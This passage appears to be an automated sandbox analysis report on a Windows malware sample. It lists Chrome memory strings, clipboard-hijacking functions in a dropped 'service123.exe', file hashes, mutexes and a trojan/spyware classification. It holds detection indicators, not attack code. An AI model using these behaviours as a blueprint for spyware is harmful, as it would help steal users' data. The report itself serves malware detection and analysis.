Source: chrome.exe, 00000003.00000002.2399952483.0000018002B98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000003.00000002.2400808308.0000018002E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chrome.exe, 00000003.00000002.2398765428.00000180028BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: unmYCIPOHmXNjqOesrEy.dll.0.dr String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: chrome.exe, 00000003.00000002.2414814253.000079F000920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2377784658.000079F000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2414997852.000079F000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2375653585.000079F00071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000002.2414814253.000079F000920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2377784658.000079F000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2414997852.000079F000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2375653585.000079F00071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000002.2396279380.000001800220C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2396938906.00000180023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: chrome.exe, 00000003.00000002.2396938906.00000180023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000003.00000002.2398765428.00000180028BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000003.00000002.2399223778.00000180029B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397806899.00000180026CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2399252802.00000180029CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000003.00000002.2399223778.00000180029B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397806899.00000180026CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2399252802.00000180029CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000003.00000002.2414737515.000079F000904000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400151435.0000018002C34000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000002.2413064830.000079F000238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2414737515.000079F000904000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400151435.0000018002C34000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.2377784658.000079F000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2414997852.000079F000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2375653585.000079F00071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.2377784658.000079F000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2414997852.000079F000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2375653585.000079F00071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000002.2414737515.000079F000904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000002.2413064830.000079F000238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2414737515.000079F000904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardy
Source: chrome.exe, 00000003.00000002.2414737515.000079F000904000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400151435.0000018002C34000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.2377784658.000079F000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2414997852.000079F000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2375653585.000079F00071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000003.00000003.2379596687.000079F00087C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.2375653585.000079F00071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000002.2414814253.000079F000920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000003.00000002.2414814253.000079F000920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918=
Source: chrome.exe, 00000003.00000002.2414713119.000079F0008D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000003.00000002.2396938906.00000180023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/62
Source: chrome.exe, 00000003.00000003.2384354803.0000018002758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397954378.0000018002718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400447518.0000018002CE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000003.00000002.2400808308.0000018002E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400916997.0000018002E58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397954378.0000018002718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400151435.0000018002C34000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000003.00000003.2384354803.0000018002758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397954378.0000018002718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400447518.0000018002CE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000003.00000003.2384354803.0000018002758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397954378.0000018002718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400447518.0000018002CE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400151435.0000018002C34000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2399069239.0000018002930000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397921825.0000018002700000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000003.00000002.2399430061.0000018002A40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2398019799.0000018002724000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000003.00000002.2399430061.0000018002A40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2398019799.0000018002724000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000003.00000002.2399430061.0000018002A40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397774986.00000180026B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000003.00000002.2399952483.0000018002B98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000003.00000002.2396938906.00000180023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000003.00000002.2396995285.000001800240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000003.00000002.2401867611.0000018003050000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400117673.0000018002C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2401798451.000001800302E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2405261714.0000018003088000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000003.00000002.2400117673.0000018002C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2401798451.000001800302E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2405261714.0000018003088000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000002.2400117673.0000018002C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2405594080.0000018003094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2401798451.000001800302E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2405261714.0000018003088000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000003.00000002.2401798451.000001800302E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2399529302.0000018002AAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2405261714.0000018003088000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000003.00000002.2400117673.0000018002C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2405594080.0000018003094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2401798451.000001800302E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2405261714.0000018003088000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000002.2397213115.00000180024D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400117673.0000018002C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2401798451.000001800302E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2399468861.0000018002A80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400346123.0000018002CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2405261714.0000018003088000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000002.2400117673.0000018002C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2400387286.0000018002CC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2401798451.000001800302E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2405261714.0000018003088000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000002.2400117673.0000018002C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2405594080.0000018003094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2401798451.000001800302E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397340437.0000018002574000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000003.00000002.2397806899.00000180026CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000003.00000002.2399952483.0000018002B98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000002.2399952483.0000018002B98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000002.2396490443.000001800228F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000003.00000002.2396540879.00000180022A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000003.00000002.2396938906.00000180023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000003.00000002.2399223778.00000180029B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397806899.00000180026CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2399252802.00000180029CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2399223778.00000180029B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397806899.00000180026CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2399252802.00000180029CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000003.00000002.2400151435.0000018002C34000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000003.00000002.2396938906.00000180023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000003.00000002.2400748367.0000018002DE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000002.2400808308.0000018002E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.2400808308.0000018002E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000002.2400808308.0000018002E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000002.2399069239.0000018002930000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2398429877.000001800283C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000002.2397079254.0000018002490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389287356.0000018002E90000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000002.2399341330.0000018002A0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/CharBl3
Source: chrome.exe, 00000003.00000002.2399430061.0000018002A40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2396938906.00000180023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2399741732.0000018002B48000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000002.2399430061.0000018002A40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2396938906.00000180023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.2400707499.0000018002DB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2398150045.0000018002778000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2399069239.0000018002930000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397921825.0000018002700000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000002.2399069239.0000018002930000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000003.00000002.2397106373.00000180024A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/speech-api/v2/synthesize?
Source: chrome.exe, 00000003.00000002.2397806899.00000180026CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.2400184415.0000018002C48000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000002.2396316199.000001800221C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000003.00000002.2396995285.000001800240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.2396995285.000001800240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.2396995285.000001800240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2398365424.000001800280C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.2398921767.00000180028D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2396995285.000001800240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000002.2397806899.00000180026CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000003.00000002.2396578668.00000180022D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2384354803.0000018002758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397954378.0000018002718000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000002.2396578668.00000180022D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2384354803.0000018002758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397954378.0000018002718000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000002.2400888606.0000018002E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/m
Source: chrome.exe, 00000003.00000002.2400707499.0000018002DB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2397954378.0000018002718000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000003.00000002.2400707499.0000018002DB0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlor
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C169C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 7_2_6C169C22
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C169C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 7_2_6C169C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C169D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 7_2_6C169D11
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C169E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 7_2_6C169E27

System Summary
barindex
Drops large PE files
Source: C:\Users\user\Desktop\file.exe File dump: service123.exe.0.dr 314617856 Jump to dropped file
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\file.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_001651B0 7_2_001651B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00163E20 7_2_00163E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C192CCE 7_2_6C192CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C15CD00 7_2_6C15CD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C15EE50 7_2_6C15EE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C160FC0 7_2_6C160FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1A0AC0 7_2_6C1A0AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1644F0 7_2_6C1644F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1946E0 7_2_6C1946E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1907D0 7_2_6C1907D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1887C0 7_2_6C1887C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1A0060 7_2_6C1A0060
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C192090 7_2_6C192090
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C182360 7_2_6C182360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1ADC70 7_2_6C1ADC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C165880 7_2_6C165880
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1898F0 7_2_6C1898F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C197A20 7_2_6C197A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C19DBEE 7_2_6C19DBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C19140E 7_2_6C19140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1A1510 7_2_6C1A1510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C19F610 7_2_6C19F610
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C17F760 7_2_6C17F760
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C153000 7_2_6C153000
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1670C0 7_2_6C1670C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C2150D0 7_2_6C2150D0
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\service123.exe 05466AC3A1F09726E552D0CBF3BAC625A7EB7944CEDF812F60B066DCBD74AFB1
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll C11792DFC9F60EE410C105F2E44E32019AA128F6E1714DEFB1812956DAF3113C
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C223560 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C225980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C225A70 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C223820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C2236E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C21ADB0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C223B20 appears 38 times
One or more processes crash
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6592 -s 932
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: file.exe Static PE information: Section: pcnvptyg ZLIB complexity 0.9943481655657668
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@18/5@8/3
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\DGdQGkLyQR Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6592
Source: C:\Users\user\AppData\Local\Temp\service123.exe Mutant created: \Sessions\1\BaseNamedObjects\JStVXPURjEhqLJtWBhCN
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7828:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: chrome.exe, 00000003.00000002.2398765428.00000180028CE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2398765428.00000180028C9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
